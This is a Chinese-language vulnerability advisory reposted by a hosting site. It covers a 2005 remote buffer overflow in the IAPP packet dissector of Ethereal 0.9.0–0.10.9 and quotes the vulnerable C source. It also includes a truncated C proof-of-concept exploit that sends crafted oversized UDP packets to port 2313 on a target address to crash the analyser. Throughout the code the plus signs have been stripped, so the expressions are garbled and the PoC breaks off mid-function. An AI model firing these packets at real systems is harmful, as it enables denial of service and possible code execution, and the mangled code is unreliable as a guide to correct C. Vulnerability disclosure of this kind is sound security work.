Ethereal IAPP模块远程缓冲区溢出漏洞

发布日期：2005-03-14
更新日期：2005-03-14

受影响系统：

Ethereal Group Ethereal 0.9.9
Ethereal Group Ethereal 0.9.8
Ethereal Group Ethereal 0.9.7
Ethereal Group Ethereal 0.9.6
Ethereal Group Ethereal 0.9.5
Ethereal Group Ethereal 0.9.4
Ethereal Group Ethereal 0.9.3
Ethereal Group Ethereal 0.9.2
Ethereal Group Ethereal 0.9.16
Ethereal Group Ethereal 0.9.15
Ethereal Group Ethereal 0.9.14
Ethereal Group Ethereal 0.9.13
Ethereal Group Ethereal 0.9.12
Ethereal Group Ethereal 0.9.11
Ethereal Group Ethereal 0.9.10
Ethereal Group Ethereal 0.9.1
Ethereal Group Ethereal 0.9.0
Ethereal Group Ethereal 0.10.9
Ethereal Group Ethereal 0.10.8
Ethereal Group Ethereal 0.10.7
Ethereal Group Ethereal 0.10.6
Ethereal Group Ethereal 0.10.5
Ethereal Group Ethereal 0.10.4
Ethereal Group Ethereal 0.10.3
Ethereal Group Ethereal 0.10.2
Ethereal Group Ethereal 0.10.1
Ethereal Group Ethereal 0.10

不受影响系统：

Ethereal Group Ethereal 0.10.10

描述：

---

BUGTRAQ ID: 12762

Ethereal是很多网络专业人员都在使用的网络协议分析器，可以用来分析网络的运行状况，支持几乎所有协议。

Ethereal的IAPP处理模块中存在漏洞。网络报文中的长度值可能覆盖静态的缓冲区。漏洞位于dissect_pdus()函数中。长度值是通过2个guint8变量计算得出的，将第一个左移，然后加入第二个，因此这个值最高可到65535。随后的循环可能滥用这个长度来溢出静态缓冲区textbuffer[2000]。

packet-iapp.c
-------------
static void
dissect_pdus(tvbuff_t *tvb, int offset, proto_tree *pdutree, int pdulen)
{
...
int len;
...
tvb_memcpy(tvb, (guint8 *)&pduhdr, offset, sizeof(e_pduhdr));
len = (((int)pduhdr.pdu_len_h) << 8) pduhdr.pdu_len_l;
...
}
-------------

packet-iapp.c中有漏洞循环的示例：
-----------------
pduval_to_str(int type, int len, tvbuff_t *tvb, int offset)
{
...
case IAPP_PDU_MSADDR:
mac = tvb_get_ptr(tvb, offset 3, len);
for (z = 0; z < len; z )
run = sprintf(run, "%sx", z ? ":" : "", mac[z]);
break;
...
}
----------------

远程执行代码要取决于溢出的缓冲区环境，可能是可行的，但未确认。

<*来源：Leon Juranic （ljuranic@LSS.hr）

链接：http://marc.theaimsgroup.com/?l=bugtraq&m=111066805726551&w=2
http://security.gentoo.org/glsa/glsa-200503-16.xml
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

["eth2.c" (text/plain)]

/*
*
* Ethereal IAPP remote buffer overflow #2 PoC exploit
* ---------------------------------------------------
* To test this vulnerability on windows, try to send 3-10 packets
* that will trigger the crash, and scroll between captured packets
* in Ethereal.
*
* Coded by Leon Juranic <ljuranic@lss.hr>
* LSS Security <http://security.lss.hr/en/>
*
*/

#include <stdio.h>
#include <windows.h>

#pragma comment (lib,"ws2_32")

#define IAPP_PDU_SSID 0

typedef struct _e_iapphdr {
unsigned char ia_version;
unsigned char ia_type;
} e_iapphdr;


typedef struct _e_pduhdr {
unsigned char pdu_type;
unsigned char pdu_len_h;
unsigned char pdu_len_l;
} e_pduhdr;


void xp_sendpacket (char *pack)
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
int sock,i;
struct sockaddr_in sin;
unsigned char buf[2000];
char bla[2000];
e_iapphdr *iapp;
e_pduhdr *pdu;

wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf ("error!!!\n");
ExitProcess(-1);
}

sock=socket(AF_INET,SOCK_DGRAM,0);

sin.sin_family=AF_INET;
sin.sin_addr.s_addr = inet_addr(pack);
sin.sin_port = htons(2313);

iapp = (e_iapphdr*)&buf;
iapp->ia_version = 1;
iapp->ia_type = 1;

pdu = (e_pduhdr*)(buf 2);
pdu->pdu_type = 3;
pdu->pdu_len_h = 0x05;
pdu->pdu_len_l = 0xa1;

memset (bla,'\xfc',1300);
strncpy ((char*)&buf sizeof(e_iapphdr) sizeof(e_pduhdr),bla,2000);

文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!